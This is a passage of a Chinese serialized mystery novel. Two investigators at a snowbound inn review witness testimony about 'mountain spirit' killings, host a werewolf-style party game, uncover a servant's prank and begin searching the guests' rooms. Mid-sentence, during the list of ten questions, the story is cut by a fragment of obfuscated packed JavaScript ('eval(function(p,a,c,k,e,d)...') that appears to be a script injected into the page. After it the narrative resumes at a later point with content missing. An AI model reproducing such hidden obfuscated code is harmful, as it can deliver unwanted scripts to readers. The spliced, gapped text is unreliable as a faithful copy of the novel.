这方粉色的罗帕上面绣着一对栖息于连理枝上的比翼鸟。“得成比目何辞死,愿作鸳鸯不羡仙。”①赠予他这方罗帕的人,一定是位女子。 这方罗帕用料上等,做工精细,绣工斐然,上面的比翼鸟栩栩如生,可以想象制作它时那人有多用心。而晏熙又将此物一直随身携带,当真是……郎情妾意,红豆青丝。 晏熙从商隐之手中接过了罗帕,仔细地查看过后将它珍而重之地收了起来。 没由来的,商隐之羡慕起了那个素未蒙面的女子。 “它怎么在你这儿?”晏熙的语气似在诘问。 商隐之凝噎望天,“是你自己昨天晚上落在我房里的,我好心还给你。”顿了顿,他又看向晏熙的脸,打趣道,“看你这么仔细,送你这罗帕的人是谁啊?是你宜室宜家的姐姐,还是青梅竹马的妹妹?总不会,是李小姐送的吧?她不是送过你一顶帽子了吗?” 晏熙的声音听上去像是凋落了的花。她说,“是我已故的母亲。” 商隐之想把自己刚才说话的那张嘴缝起来。 晏熙继续说道,“我母亲留下的遗物不多,我和这方罗帕各算一件。” 先前那点莫名的情绪一散而尽,留下的只有懊恼。商隐之想起之前兄长每次批评他说他做事轻浮时,他都很不服气。他觉得自己明明一直谦逊有礼,进退有度,定然是兄长想骂他找不到理由所以随便胡诌了一个。 可是这一刻商隐之突然理解了兄长。他好想回到兄长责骂自己的那个时候,和兄长一起给当初的自己一巴掌。 一滴泪顺着晏熙的颊边流淌了下来。商隐之手忙脚乱地解释道,“抱歉啊晏公子,我不知道,原来是这样的。” “怪我怪我都怪我,我不是故意惹你伤心的,那些话,我,我确实是乱说的,对不起,我错了,你别难过啊。” 晏熙摇了摇头,她将颊边的那颗泪拭去,“无事,风雪太大,迷了眼睛。” 晏熙深吸一口,闭目停顿片刻,再睁眼,又恢复了往日的样子,“现在云娘店中所有的人我们都问询完了,按照大理寺的规矩,下一步应该做什么了?” 商隐之想了想,“下一步,我们需要核查证词,判断哪些是真,哪些为假。” 晏熙点了点头,“好,我们回去吧。” 商隐之跟着晏熙起身,一不小心,商隐之脚下一滑,差点从屋顶掉下去。千钧一发之际,晏熙一把拉住了他。 商隐之爬回屋顶,“吓死我了,多谢晏大人出手相助。多亏晏公子你功夫好。” 屋内,喜松正在教福砚写字。 “不对,这一笔是这样写的,先这样,再这样。” “胡说,你可别仗着比我多写几年字就蒙我,我看你家公子明明是这样写的。” “是我家公子他写错了,真的,我没骗你。他从前就习惯这样写,被先生批评过很多次,但他就是不改。” “可是这样写很好看啊。” “再好看也是错的啊。” “咳咳。”背后传来一声咳嗽,喜松和福砚转过身来,看见是商隐之和晏熙。 “公子,你可算回来了,我都好久没见到你了。”福砚扑进了晏熙的怀中。 “诶,公子,你这就回来了?”喜松眼里只有意外。 商隐之双手叉腰,“你看看人家福砚,再看看你什么态度?还有,我不在你就偷偷和福砚说我的坏话是吧?” 喜松脸上闪过几分慌乱,“啊,公子你怎么知道?你听见了?你听见的是哪一句啊?我可以解释的,你别生气。” 商隐之两眼一黑,掏出一包点心全部递给了福砚,“这是我专门给你们带回来的,想来反正喜松也不喜欢吃,就都给你了。” 喜松连忙在一旁喊道,“公子,我喜欢吃的,你是不是记错了?” 商隐之无视了喜松,“只许你自己一个人吃啊,不然下次就没有了。” 喜松上前帮商隐之揉肩捏胳膊,“公子,我错了,你就原谅我这一次吧,你知道的,我最喜欢吃点心了。我下次再也不敢了,公子,你就行行好吧。” 喜松哀嚎着跟着商隐之打转,看到一边的福砚毫不客气地独自开始吃起了点心,他一把抱住了商隐之的双腿,“公子,你要是不让我吃,你就哪儿也别去了。” “知道错了?”商隐之低头问道。 喜松连忙点头,“知道了知道了,请公子放心,我再也不敢了。” “可是我刚才已经把那包点心全部给了福砚,自然不可能再要回来,你若是真的想吃,就去求求福砚吧。” 于是喜松一脸可怜劲地看向福砚,还眨巴眨巴眼睛试图挤出两滴泪来。 “你脸抽筋了?”福砚看着喜松一脸扭曲地表情甚是疑惑。 “不是,我在难过,在祈祷,在哭泣。” 福砚嫌弃地摇了摇头,然后把剩下的半包点心递给了喜松,“给你留着呢,别再用这副表情看着我了,你就不能用些体面一点的表情吗?” 一旁的晏熙被喜松逗笑,商隐之看着晏熙,一同笑了起来。 商隐之整理出了这些日子所有的问询记录,“晏公子觉得,这些问询哪里有问题呢?” 晏熙想了想,提笔在纸上写下: 一、秋琴提到的,对明武明礼不满之人究竟是谁? 二、李绍成、王嗣及李素织究竟为何在这个时候上山? 三、云娘店中众人为何如此口径一致,坚信是山魅作祟? 四、齐怀章是否真的只给李绍成下了药? 五、能不能确定杨远的心上人到底是谁? 六、杜仲奇怪的回答究竟有何用意? 七、突然冒出来的“一夕烟”是真是假? 八、山魅阿紫、校书郎案与明武明礼案是否有关联? 九、凶手到底是山魅还是人? 十、凶手还会不会有下一个目标,有的话,真的会是李绍成吗? 晏熙将手中的笔放下,“我暂时有这十个疑问。第一个疑问,秋琴在接受问询时曾说过,她听到有人似乎对明武明礼不满,却不知道那个人到底是谁。” “她是刻意没有说出那个人的。”商隐之立刻指出。“云娘店就这么几个人,她看不见人也知道说话人房间所在的位置,再加上声音,很容易就知道那个人是谁了。” “所以,”晏熙看向商隐之,“她这样半遮半掩,是因为害怕遭到那个人的报复?还是因为不敢说出那个人的名字?” “其实说这话的人并不一定是凶手,明武明礼在宴席上那般行径,想要一吐为快的不在少数,所以我觉得,她大多是因为不敢。” 晏熙赞同的点了点头,“第二个疑问,李绍成、王嗣、李素织都声称是为了看云岫山的冬日日出而上山,可是王嗣提前好几天便上了山,只是看一场日出需要这么久的准备时间吗?李绍成和李素织父女更是,那日明明天降大雪,明眼人都知道这样的天气根本看不见日出,他二人却依然执意上山。” “李绍成父女说与王嗣有约在先,不想违约。可据我这几日所看到的,王嗣在与李家父女的交往中明显处于弱势地位,他更多是在讨好这对父女。以李绍成的倨傲姿态来看,他并不像是会在乎王嗣的样子,更不可能为了王嗣冒雪上山,他来这里的背后必然有更为重要的原因。” 晏熙突然想到了什么,“你记不记得,在那日的宴席上,李绍成本不愿退场,是李素织用‘明日还要看日出’为理由才将他劝离?” 商隐之眼睛一亮,“我记起来了,这‘日出’必定另有指代。可是,它指代的到底是什么呢?” 晏熙没有告诉商隐之她得到的那一箱金子,但她猜测李绍成他们上山或与其有关。 晏熙摇了摇头,表示不知,“第三个疑问,云娘店中上下一词,都坚称是山魅作祟,苏云碧讲了一个十五年前的案子来佐证,张大虎更是讲出了一堆云岫山中的禁忌,可他们言行过于一致,反倒令人生疑。” 商隐之翻了翻问询记录,“不止,云娘店中这几位本该是对这里最熟悉的人,也应当是最能发现异常与不对的人,可是在问询的时候,他们所有人却都说什么都没有发现。” “这样听起来,不是更像山魅在作祟了吗?”晏熙轻轻一笑,“以云娘待人处事的能力,我相信无论在哪里她都可以大有一番作为,可是她却偏偏选择将云娘店开在这孤山上偏安一隅,真的只是因为她喜欢这里的风景吗?” 晏熙指向下一个问题,“第四个疑问,当年之事,无论是谁恐怕都难以释怀。贪官污吏视人命为草芥,意气风发的少年被自己想要拯救的人们背弃,在最热血良善的年纪他见识到人性最虚伪、麻木、自私的一面,如今与那一切的源头再见,他当真只是选择给他下了点儿泻药?” 商隐之想了想,“或许真如他自己所言,他早已不在乎了。” “既然都不在乎了,又何必再下药呢?” 讨论不出结果,晏熙继续提出下一个问题,“第五个疑问,你是否也觉得杨远的心上人,是那个人?” 商隐之转身看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“第七个疑问,我们之前一直在怀疑凶手是个武功很强的人,没想到齐生真的给了我们这样一个人,‘一夕烟’” 听到这个名字,福砚和喜松好奇地将脑袋转了过去。 “江湖上有很多关于‘一夕烟’的传闻,可却没人知道他的真实面目。若是他混迹在我们之中,倒真有可能。” 晏熙看向商隐之,“那会是谁呢?李绍成一行人之中定然不会有一夕烟,云娘店中的伙计们都已经很多年了,也不会是,剩下的契苾月和张大虎与店中伙计也已相熟多年,杨远和齐生看起来也不像……”晏熙从上到下打量了一番商隐之,“商公子,一夕烟该不会是你吧?” 商隐之一口茶呛到了嗓子。 喜松跑过来帮商隐之拍了拍背,“晏公子,我家公子不可能是‘一夕烟’的,我从小跟着公子长大,形影不离的,我家公子不可能有机会偷偷溜出去做游侠的。” 晏熙给商隐之递过去一方罗帕,“你慢点,我开玩笑的,我当然知道你不是。” “我每天为你鞍前马后,真是没想到,晏公子你居然怀疑我?”商隐之摧弦欲泣,悲悲戚戚地指控晏熙。 晏熙拍了拍他的后背,“好了好了。不过,这‘一夕烟’再厉害,这大雪封山的日子也需要有个落脚的地方。云娘店中没有他,我觉得或许就是齐生想多了,他压根就不在这里。” “第八个疑问,山魅阿紫、校书郎案还有明武明礼的案子,从描述上来看,案发时被害人都是先浑浑噩噩大喊大叫,然后自燃于蓝色的火焰。这三起案子相隔了百余年,之间会有什么关联吗?” 商隐之沉吟片刻,“我觉得,有很大的可能,后面两起案件都是在模仿山魅阿紫故事中的描述作案,想要把一切归因于被害人不小心得罪了山魅,所以引来报复,从而隐藏自己杀人的行为。” “那我就要问第九个问题了,作案的,究竟是山魅还是人?” “人。” 晏熙挑了挑眉,“如何确定?” 商隐之轻笑一声,“正如当日齐生所言,如果山魅是真,则其他精怪具皆为真。我仔细想来,山魅何须如此大费周章?只有人想让别人以为是山魅时,才会如此。” “包括百余年前的时候吗?” 商隐之点了点头,“山魅阿紫的故事只有短短数语,我们很难从中窥得全貌。王魌与阿紫结为夫妻那么久,阿紫若是山魅,为何没有伤害王魌?王魌、陈贤还有阿紫之间到底发生了什么,我们还需仔细考证。” 晏熙也认同商隐之的看法,“第十个疑问,店内现在大部分人都觉得还会有下一个受害者,李姑娘和齐生都觉得会是李绍成,你觉得呢?” “我认为他们的看法也有一定的道理。明武明礼虽然惹人厌烦,但若问其根本,其实他们不过是在为虎作伥罢了。” “那好,我召集客栈众人,咱们今夜就轮流守在李县令门前,看看这‘山魅’到底是谁。” 14. 游戏之夜 可怜山魅今何在,唯有人心不可测。 云娘店里的所有人都聚集在了客堂之中。 丁文元的呼噜声在客堂里起起伏伏,正在和王嗣下棋的李绍成扔了棋子,“烦人。” 先前晏熙召集了众人,商议今晚轮流值守在李绍成房前等待山魅之事,然而大家意见不一。 下一个目标是李绍成乃李素织等人的推测,并无实据,云娘店中众人俱有成为下一个目标的可能,于是晏熙提议,不如今夜大家共同围坐于客堂之中。 后厨丁文元睡觉习惯特殊,为大家伙儿准备了点吃食后他便想回房休息。 喜松建议丁文元不如就在这客堂里睡,“丁大厨,今夜我们其他人都在一起,万一山魅来了后,看见只有你落了单,所以就对你动了手怎么办?” 丁文元立刻犹豫了。客堂里睡虽然不舒服,但总比在这个时候落单强。 李绍成作为危险度最高的人物,他和王嗣坐在了客堂中央继续下棋,杜仲则站在一旁端茶倒水负责侍候。 李素织和秋琴在李绍成旁边的桌子上借着烛火刺绣。 杨远坐在李素织身后的桌子上。今夜他没有喝酒,只是静静地地望着窗外,不知道在想些什么。 齐怀章和张大虎坐在杨远旁边的桌子上,齐怀章还在继续捧着书本背诵,张大虎则已经打起了呼噜。 苏云碧和契苾月在一旁玩起了双陆,阿信、顺平还有师玄温则坐在一旁围观。 喜松和福砚两个人原本在云娘店里上上下下到处乱窜,期间还偷偷拿了毛笔在已经睡着的丁文元脸上偷偷画乌龟,被商隐之发现后罚了两个人去一旁角落里站着练字。 商隐之和晏熙则坐在他刚来云娘店那日,晏熙和福砚围炉煮茶的窗边。 那支红梅还开着。商隐之记得那日他只看见了红梅的一角,如今它已经探进了窗内。 面前的炉火燃烧着,晏熙在壶底放上茶叶,然后将茶壶放在窗外,很快便接满了一壶雪。 她将茶壶置于炉火之上,待雪化开,又摘了几片梅花瓣扔进去。 很快炉水沸腾,混杂着梅花味道的茶香便在客堂内弥漫开来。 苏云碧赞叹茶香袭人,晏熙将茶水倒入杯内分给众人。茶叶是王嗣给的,清冽自然。 晏熙一举一动优雅自如,仿佛一位林间隐居的隐士,在一个寻常的日子,煮茶接待前来赴约的朋友。 商隐之紧紧盯着自己手中的茶,“若我是那位朋友,定然要和他一起隐居,从此不问世事,逍遥自在。” 接着他又摇了摇头,“我怎么最近总是想一些有的没的。”他将杯中之茶一饮而尽,回头一看,晏熙正在望着什么出神。 他顺着晏熙的视线看过去,是李素织在和秋琴一边刺绣一边打趣着什么。 他将茶杯放于桌上,俯身靠近,“那李小姐就这么好看吗?” 晏熙回过神来看向商隐之,“难道不好看吗?” 商隐之感觉自己好像吃了一口还未长熟的果子,酸涩苦口,难以下咽。他嗓音发涩,“能让晏公子看到出神的女子,自然是好看的。” 晏熙轻声开口,“从前,母亲晚上哄我睡觉时,也是这般,一边在烛火下刺着秀,一边给我讲着故事。我父亲经常会将未处理完公务带回家,他处理起公务来常常表情丰富多变,于是母亲便会偷偷与我讲父亲的小话。” 晏熙深吸了一口气,“不知为何,自从,母亲离世之后,我见世间万物,便总觉得那里都有她的影子在。隐之兄,你说,我是不是病了?” 商隐之握住晏熙的手,“你没有。那些逝去的亲人,从来都没有真正离开过。他们会化作万物继续陪在我们的身边,一风一雨,一叶一花,都是他们的寄托。” 窗外一阵寒风吹过,商隐之和晏熙桌上的烛火被吹灭,商隐之握着晏熙的手紧了紧,“你想不想玩点有趣的?” 商隐之起身拍了拍桌子,正在打瞌睡的师玄温醒了个盹儿,“嗯?怎么了?山魅来啦?” 同样已经开始犯困的阿信向四周望了望,然后拍了拍师玄温的后背,“没事没事,您老别怕,山魅没来,是商公子。” 商隐之对着师玄温歉意地笑了笑,“不好意思,吓到诸位了。再这样下去,我看我们大家都要睡着了,到时候山魅来了我们也不知道。不如这样,我有个游戏,咱们一起来玩怎么样?正好清醒清醒。” 师玄温一听顿时来了精神,“又要来捉迷藏吗?好啊,我老头子愿意。” 商隐之摇了摇头,“现在不适合玩捉迷藏,不然一会儿人都藏起来分散了,我们就盯不住山魅了。我还有一个游戏。” “什么游戏,怎么玩啊?”师玄温好奇地询问商隐之。 商隐之低了低头,看到晏熙也正在好奇地看着他,他神秘一笑,“来来来,我们大家先把桌子并起来,围坐在一起。” 众人配合地坐到了一起,唯有李绍成和王嗣还端坐在一旁下棋。 李素织只好起身,“父亲,王叔叔,不如你们参与进来吧。这长夜漫漫,大家一起的话,时辰过得会更快一些。” 苏云碧也招呼到,“是啊,李大人,王大善人,你们也一起来吧。” “是啊,您二位一起来吧,这游戏啊,人越多越好玩。”商隐之友善地邀请了李绍成和王嗣,晏熙也跟着附和,“李大人,王大善人,一起吧。” 王嗣没有作声,片刻之后,李绍成点了点头,杜仲帮李绍成和王嗣放好座椅,李绍成才和王嗣慢悠悠地坐了过去。 商隐之点了点人数,在座的一共十五人。他抬头看了看,丁文元还在长睡不醒,喜松和福砚则还在一旁站着练字。 商隐之咳嗽一声,“福砚,喜松,你们两个也过来吧,不用受罚了。” 福砚喜出望外地动了动,被喜松一把拉住。“不用了,公子,我和福砚再写一会儿。” 商隐之觉得新奇,“你什么时候有这般心性了?行了,快过来吧,你不玩福砚还要玩呢。” 喜松挡住福砚的去路,几不可见地冲着福砚眨了眨眼睛,“公子,你别管我和福砚了,我们正在兴头上呢,等会儿我教福砚把些写完我们就过去。” 商隐之难以置信地看向晏熙,“我没在做梦吧?” 晏熙掐了商隐之一把。商隐之倒吸一口凉气,“你下手也太狠了点了吧。”晏熙一脸无辜地看向商隐之,“因为我也不确定我是不是在做梦。” “难得你这么有上进心,那你就好好教福砚吧,不许乱教啊。顺便,给我拿点儿纸币过来。” 商隐之将纸分成十五小份,分别在上面写上“道士”、“平民”、“天师”、“山魅”、“飞贼”、“将军”。 “我在纸上分别写下了一些身份,我们在座有十五人,由我来引导大家游戏。剩下十四人中有百姓五人,百姓便是普通百姓,没有任何特殊的技能;山魅五人,山魅可以在游戏过程中天黑时共同协商每晚杀掉一个人,也可以不杀;天师一人,天师可以查验其余众人的身份;飞贼一人,飞贼可以偷取他人身份一次,偷取之后与被偷取人身份互换;将军一人,将军可以每次天黑选择一人守护,若是山魅选中了被守护之人,则刺杀无效;道士一人,手上有一瓶毒药一瓶解药,可以在游戏过程中选择要不要使用。” 商隐之看向众人,“你们听懂了吗?” 众人齐齐摇头,“商公子,你说的是什么意思啊?” “我没记住,那个飞贼是做什么的来着?” “一个山魅就够吓人了,商公子你一下安排五个是不是有点多啊?” “停一下。这个游戏听起来是挺麻烦的,但是玩一局之后你们就都会了。这样,我先指导大家咱们来玩一局,然后你们有什么不会的再问我好吗?” 商隐之将写好的身份牌团起来扔在桌子中央,“你们每人随机选一个吧,千万不要让其他人知道你们的身份哦。” 拿到身份牌后,众人各显神通,有人捂起来趴在桌子上看,有人转身去到后面看,有人藏在袖子里看,阿信还钻到了桌子下面看。 商隐之想看一眼晏熙的身份,晏熙一把将身份牌收进手中。 商隐之无奈,“我是引导人,不参与游戏,而且一会儿你们所有人的身份我都会知道的。” 晏熙怀疑地看向商隐之,“真的?” 商隐之点了点头,“真的。” 晏熙将手收在袖子下面,“那我也不给你看。” “好好好,不给我看。”见众人都知道了自己的身份,商隐之开始进行下一步,“为了增加一点气氛,咱们把烛火都熄了吧,只留下两三个就可以了。现在,请所有人都把眼睛闭起来。” 众人闭起了眼睛,李绍成想知道商隐之到底要搞什么名堂,于是悄悄眯起了眼睛,商隐之立刻警告到,“不要试图作弊哦。我看得见。” 李绍成哼了一声,然后将眼睛闭了起来。 “首先,请飞贼睁开眼睛。” 苏云碧睁开了眼睛。 “请飞贼决定,你今夜是否要偷取别人身份,如果要行动的话,请指出你想与其交换身份之人。” 苏云碧轻轻摇了摇头。 “飞贼行动结束,下面,请将军睁开眼睛。” 晏熙将眼睛睁开了。 商隐之冲着晏熙笑了笑,意思是看吧,我就说我会知道的。晏熙狠狠地转过了脸。 “请将军大人选择一位你今夜想要守护之人。” 晏熙看了一圈,指了指苏云碧。 “选择完毕,请将军闭上眼睛。下面,请山魅睁开眼睛,确认你们的同伴,并且指出你们今夜想杀之人。” 五个山魅将眼睛睁开,互相看了一眼,差点笑出声。 五个山魅分别是王嗣、李素织、契苾月、张大虎还有顺平。王嗣率先指了指杜仲,剩下的人便跟着他一起指向了杜仲。 “刺杀完毕,请山魅闭眼。下面,请道士睁开双眼。” 杨远睁开了眼睛。 商隐之指了指杜仲,“昨天晚上被刺死的人是他,请决定你是救还是不救?” 杨远坚定地摇了摇头。 “你的毒药是否使用?如果要使用的话,请决定要用在谁的身上。” 杨远指了指李绍成。 “行动完毕,道士请闭眼。接下来,请天师睁开眼睛。” 师玄温睁开了眼睛。 “你可以随机选择一个人,我会告诉你他的身份是好人还是坏人。” 师玄温指了指李绍成,商隐之伸出大拇指平着指了指,意思为他是平民。 “好,请天师闭上双眼。现在天亮了,请所有人都睁开双眼。” 微弱的烛火下,大家互相睁着眼睛打量彼此。 “我 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商隐之制止了王嗣的发言,“请王大人先不要开口说话,我们只能在轮到自己时开口。还有,游戏而已,所有人都可以随便猜测。” 齐怀章旁边坐着杨远,“我完全认同齐生的说法,我也怀疑王大人是山魅。” 之后众人对此看法皆表示赞同,王嗣被大家投票投了出去。 王嗣大笑两声,“这你看看,你们这些人啊,可真是冤枉好人喽。” 王嗣看向在一旁生闷气的李绍成,“大人,要不咱们还是去下棋?” 李绍成拒绝了王嗣的提议,“不去,本官倒要看看是谁胆大包天,竟敢毒害本官。” 第二轮游戏开始,轮到杨远睁眼的时候,他挑衅似地看向了李绍成。 李绍成指了杨远半晌后,放下了手。 这时,张大虎突然睁开了眼睛,商隐之正要制止张大虎的违规行为,张大虎伸出一根手指噤声了商隐之。 张大虎压低了声音,“都别出声,我听到外面似有情况。” 众人慌乱地睁开了眼睛,这时云娘店的客堂大门突然打开,一股冷风吹了进来。 门外风雪大作,紧接着,一个女子的影子出现在客堂门外,然后越走越近。商隐之起身将晏熙拦在了自己身后。 那影子越拉越长,在微弱的烛火下,一个穿着紫衣披着长发的背影出现在门口。 众人包作一团,不知谁先惊叫了一声“山魅阿紫,她来了!”紧接着连绵起伏的叫声在客堂中响起。 黑暗中,商隐之感觉到晏熙握住了他的胳膊。 他刚想说“你别怕”,就听到晏熙在他耳边小声道,“你掩护我,喜松和福砚还在那边,福砚年纪小,我过去保护他们。” 商隐之挡住晏熙,跟着她一点一点往喜松和福砚的位置走,这时,门口的紫衣女子转过身来,一张及其恐怖的面孔出现在了众人面前。 这时,商隐之看到门外似乎还有一道人影,他和晏熙对视一眼,两个人冲到了门口。 商隐之一把揪掉了紫衣女人头上的假发以及脸上的面具,晏熙则从客堂大门后面揪出了正在负责用烛火给紫衣女人打光,让她看起来更恐怖的福砚。 看清了那紫衣女人和福砚的面目,客堂众人才松了一口气,原来那紫衣女人是喜松假扮的。 “哈哈哈哈,你们都被我吓到了吧。”喜松站在门口大笑,福砚拉了拉他。 喜松后退一步,“公子……”这时有人敲了敲他的肩膀,喜松下意识转身,然后一声尖叫,向后连退几步。 原来是商隐之将刚才从他脸上摘掉的面具戴在了自己脸上。 “知道害怕了吗?”商隐之取下面具厉声责问。 “我知道了,公子。”喜松低下了头。 “为什么要这样吓人?” 喜松低着头,“我……公子,对不起。” “我记得你从前并不喜欢这样的恶作剧,还说幼稚,你现在是怎么了?” 福砚上前一步,“对不起,商公子,你不要怪喜松了。其实是因为喜松觉得我小时候没有好好玩乐过,才说要带我体验一下他小时候的快乐。” 福砚眼巴巴地望着商隐之,“商公子你知道的,我从小就是个孤儿,只能靠乞讨为生,从来没有朋友,更没有空闲去游乐。” 苏云碧出来打圆场,“好了好了,他们两个还是小孩子,调皮一点也实属正常。” 师玄温也站了起来,“就是,我老头子都没被吓到,有什么的嘛。” 阿信在一旁笑笑,“师先生,刚才谁一直在我旁边抖啊。” 顺平也跟着说道,“阿信你也别说别人,你那叫声都快把我耳朵吵聋了。” 阿信否认,“我哪儿有?是你在叫吧?而且,明明是掌柜的的声音最大吧?” 众人你一言我一语的说笑起来,商隐之看着福砚那张可怜巴巴的脸,最终没有再说什么重话。“带福砚玩可以,但要掌握分寸。” 喜松点头,“我知道了。” 晏熙将福砚转过来,“福砚,你也一样。想玩闹可以,但不可以对别人造成伤害,知道了吗?” 福砚也点了点。 杨远过去看了一眼丁大厨,“嘿,你们看,我们都吵成这样了,这丁大厨还睡着呢。” 商隐之突然想到了什么,“喜松福砚,你们俩这些面具假发还有这身紫衣是从哪里来的?” 15. 发现之旅 不知天上谁横笛,吹落琼花满世间。① 喜松和福砚,是在云娘店的杂役房中发现这些乱七八糟的东西的。 商隐之和晏熙白日里忙活了一整天,喜松和福砚也没闲着。 商隐之跟着晏熙去问询契苾月、齐怀章等人,将喜松和福砚丢在了房间中练字。 两个人勤勤恳恳练习了一个上午,中午休息过后,便生出了别的心思。毕竟都是孩子,对视一眼相互之间便知晓了对方心中所想。二人观察一番发现商隐之和晏熙还顾不上他们,于是便默契地将房门一关,溜之大吉。 不知道是不是错觉,喜松和福砚感觉这雪似乎比前几天下得更大了。 入目四下皆白,云娘店出不去,喜松和福砚便只能再店内解闷。于是这两个小少年开启了一场探险之旅。 这二人先是探了一波店内的空闲房间,里面虽没有住人,但是阿信都已经打扫过了,所以几乎没有发现,正好路过的阿信提醒他们玩够了出来时记得把门关上。随后他们去探了后厨,正在忙活的丁文元塞给了他们一堆零嘴,于是两个人高高兴兴地抱着战利品去找到师玄温唠嗑。 师玄温看到这两个欢欢喜喜的小娃娃甚是高兴,于是抱着暖炉给他们讲了点他年轻时候的故事。等到故事听完零嘴儿吃完,两个人礼貌地和师玄温道别,又开始了新一轮的探索。 主楼已经没什么好看的了,而且随时还有可能碰到商隐之和晏熙,于是两个人去了后院。 他们先是给马厩里的马喂了点草,随后又被院子里养着的几只鸡给吸引了注意力。两人拿过一旁的食盒给小鸡喂米,还将米摆放在不同的位置,比赛看小鸡更喜欢吃谁摆放的米。 喜松和福砚问苏云碧可以给小鸡吃多少米,他们怕喂的太多把小鸡撑坏,苏云碧笑笑说如果撑坏了,那今天晚上就吃鸡肉。 后院的一楼是云娘店用来贮藏物品的,其中一个房间里都是各种各样的食物,喜松和福砚对生的不感兴趣,只看了一眼便离开了。另一个房间门上写着客人物品存放,乱动别人的物品不礼貌,喜松和福砚便没有进去。剩下几间堆放着的都是杂物,有的里面是清洗过后的物品,有的是乱七八糟还没来得及收拾的,最后还有一间里面都是些废弃的柜子箱子桌子椅子之类的,喜松和福砚选择进入了最后的那一间。 顺平提醒他们小心一点,别磕了碰了不小心伤到自己,喜松和福砚随意地答应,之后便兴奋地走了进去。找了一下午终于找到让他们满意的探险地了。 喜松和福砚将所有的柜门箱门一一打开,查看里面有没有东西。喜松说每年大年三十的时候,老爷和夫人便会给府里所有的孩子们准备礼物,然后藏在府上的各个角落让大家一起去找,每人都有一份,但是谁先找到哪个谁就有那件礼物的优先挑选权。 喜松笑着弯起了眼睛,“大公子总是说这样的游戏太幼稚了,他才不去找呢,但是公子却很喜欢。所以每年到了那一天,等老爷和夫人一藏好礼物,公子便会带着我们在府里上上下下翻个底朝天,连池塘里那两只冬眠的小乌龟都不放过。” “每年公子找到的礼物都是最多的,到了晚上,公子会把他找到的所有东西都拿出来让大家挑选自己喜欢的,他则会拿着大公子喜欢的礼物去大公子眼前晃悠,故意让大公子看到,惹大公子抓狂,然后再把礼物送给大公子。每年都是如此。” 福砚出神地听着喜松过去的趣事,“真好啊。你们大家在一起可真热闹。” “你们府上不热闹吗?” 福砚笑了笑,“每年过年公子也会给我准备礼物。不过公子不会藏起来,而是就放在我的床头,让我一睁眼就能看到。” 喜松看着福砚,“礼物就放在眼前,那也很好啊。要是,要是我们离开这里以后还能做朋友的话,你可以来我们府上一起玩啊。我们府上人多,可热闹了,不止是过年,平时公子也常常带着我们玩游戏的。要是你和晏公子也可以来就更好了,公子和我都会很开心的。” 福砚笑了笑,“是啊,只要大家在一起就一定会很开心。但是,我最开心的还是和公子在一起。” 喜松伸出小拇指,“那我们来做一个约定吧,以后有机会,一定要一起做朋友,一起去府上玩。”福砚没说话,只是将自己的手指勾了上去。 在一个不起眼的箱子里,喜松和福砚发现了那张面具、那顶假发还有那件紫衣。福砚略有点嫌弃地将面具一只手拎起来,“这张面具好可怕啊。” 喜松看着福砚嫌弃的表情,笑了起来,“你小时候没有玩过吓人游戏吗?” 福砚一脸疑惑,“什么吓人游戏?” “就是故意把自己打扮的很可怕,然后出现在别人身后吓他一跳啊。” 福砚摇了摇头。 喜松拍了拍自己的脑袋,“我又忘了,你小时候没有时间玩游戏。这样吧,我今天带你一起玩,我们去吓吓我家公子。” 福砚有点犹豫,“去吓你家公子?他不会责罚我们吧?” 喜松摇了摇头,“不会,我经常和他玩。”喜松拎着那顶面具又看了看,“这面具可真吓人,要是我早点得到它就好了。” 于是两个人将东西又藏了起来,看看时辰两个人又溜回房间继续练字。 当晚上商隐之召集大家一起做游戏解困打发时间的时候,喜松便意识到机会来了。于是他和福砚特意没有去做游戏,而是等到大家将烛火熄灭后上演了那惊悚的一幕。 商隐之和晏熙立刻拿着烛火跑到了那间杂役房进行检查,“你们两个除了这三件东西以外还有没有发现其他的东西?” 喜松和福砚摇了摇头,“没有了。” 晏熙拿着那张面具仔细看了看,“看来,我们可以确定一些东西了。” 商隐之和晏熙回到房内,晏熙宣布要对所有人的东西进行搜查。 “现在,我可以很确定地告诉诸位,明武明礼遇害之事,并非山魅作祟,而是有人在捣鬼。” “刚才喜松出现的时候你们都看到了,当凶手装扮上这三样东西的时候,所有人都会觉得他就是山魅阿紫。这三样东西被放置在杂役间废弃的箱子,这就说明,凶手就在我们之中。因为凶手如果不在我们之中的话,那么这些东西他早就带走了。要不是喜松和福砚意外发现了这些东西,凶手就能继续借着山魅的身份隐藏下去。” “所以现在,我需要检查整间旅店以及你们每一个人的房间及随身物品。想要完成对明武明礼的谋杀,仅仅靠这些东西,是不足够的。” 李素织站了起来,“不如,就先从那些之前坚称是山魅作祟的人查起吧。毕竟,凶手费了这么大一番功夫,不就是为了让我们相信行凶者乃是山魅吗?” 苏云碧站了出来,“当初是我在看到那番场景后第一个想到了山魅,也是我让齐生将山魅的故事讲给了大家听的,那就先从我开始查起吧。” 晏熙带着商隐之和喜松福砚一同来到了苏云碧的房间。 进门之前晏熙向苏云碧致歉,“云娘,冒犯了。” 苏云碧摇摇头,“无事,此事皆因我一句话而起,晏公子要调查也是应该的。请吧。” 晏熙他们小心翼翼地在苏云碧房中探查了一番,里面多是一些衣物器具,商隐之仔细验过了苏云碧房中所有的药品,喜松翻过了云娘所有的书本,福砚检查了所有的柜子,晏熙在云娘枕头下方摸到一块硬物,取出一看却原来只是一块玉佩。 检查过后四人离开,齐怀章主动提出接下来可以去自己房中查看。“毕竟山魅阿紫的故事是我讲出来的,况且,我与李县令新仇旧怨,若不查我,李县令怕是心绪难安啊。” 齐怀章推开房门,晏熙等四人走了进去。齐怀章房中最多的便是书本,喜松和福砚一一翻过,商隐之在齐怀章房中找到了一包药粉,齐怀章主动解释,这便是他日前给李绍成饭中下的药。 “李县令到现在除了拉了几次肚子外平安无事,所以可以证明这药没有问题了吧?当然,诸位若是不信,可以一试。” 商隐之拍了拍齐怀章的肩膀,“我信你,但是楼下众人,需要证据和公平。” 验完药后晏熙四人离开,住在齐怀章隔壁的张大虎主动打开了门,“下一个就我吧,关于山魅的传说,我也说了不少。” 张大虎房间内的东西少的可怜。他本是来上山打猎的,意外被困才来到这云娘店,里面除了他打猎用的东西、一些干粮和一身之前留在云娘店的换洗衣物外什么都没有。 